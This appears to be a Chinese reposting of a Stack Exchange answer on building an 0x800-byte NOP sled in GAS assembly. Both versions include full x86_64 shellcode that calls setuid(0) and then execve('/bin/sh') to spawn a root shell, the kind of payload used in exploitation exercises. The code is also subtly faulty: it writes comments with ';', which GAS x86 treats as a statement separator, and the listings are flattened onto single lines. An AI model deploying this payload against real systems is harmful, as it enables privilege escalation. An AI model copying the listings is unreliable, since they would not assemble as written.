如何在汇编Shellcode中用NOP Sled填充0x800大小的0x90空字节?
实现0x800大小NOP Sled的汇编写法
核心说明
x86_64架构下的nop指令对应单字节机器码0x90,所以要生成0x800字节的NOP Sled,需要生成0x800个nop指令(总字节数正好为0x800)。以下是针对GAS汇编器的实现方案:
方法1:使用.rept重复伪指令(推荐)
直接用GAS的.rept和.endr伪指令批量生成NOP,替换原代码中的单独nop行即可:
.global _start _start: .intel_syntax noprefix .rept 0x800 ; 重复执行后续代码0x800次 nop ; 每次生成一个单字节0x90的NOP指令 .endr mov rax, 0x69 ; setuid mov rdi, 0 syscall mov rax, 0x3b ; execve lea rdi, [rip+filename] mov rsi, 0 mov rdx, 0 syscall filename: .string "/bin/sh"
方法2:直接批量定义0x90字节
如果想直接指定机器码,也可以用.byte配合.rept生成,效果和nop完全一致:
.global _start _start: .intel_syntax noprefix .rept 0x800 .byte 0x90 ; 直接定义单字节0x90 .endr mov rax, 0x69 ; setuid mov rdi, 0 syscall mov rax, 0x3b ; execve lea rdi, [rip+filename] mov rsi, 0 mov rdx, 0 syscall filename: .string "/bin/sh"
补充说明
如果使用NASM汇编器(而非GAS),语法会更简洁,直接用times 0x800 nop即可实现相同效果,但你的代码采用GAS语法,所以优先使用上述.rept方案。
内容的提问来源于stack exchange,提问作者Noob Pwn
相关产品推荐
相关产品推荐

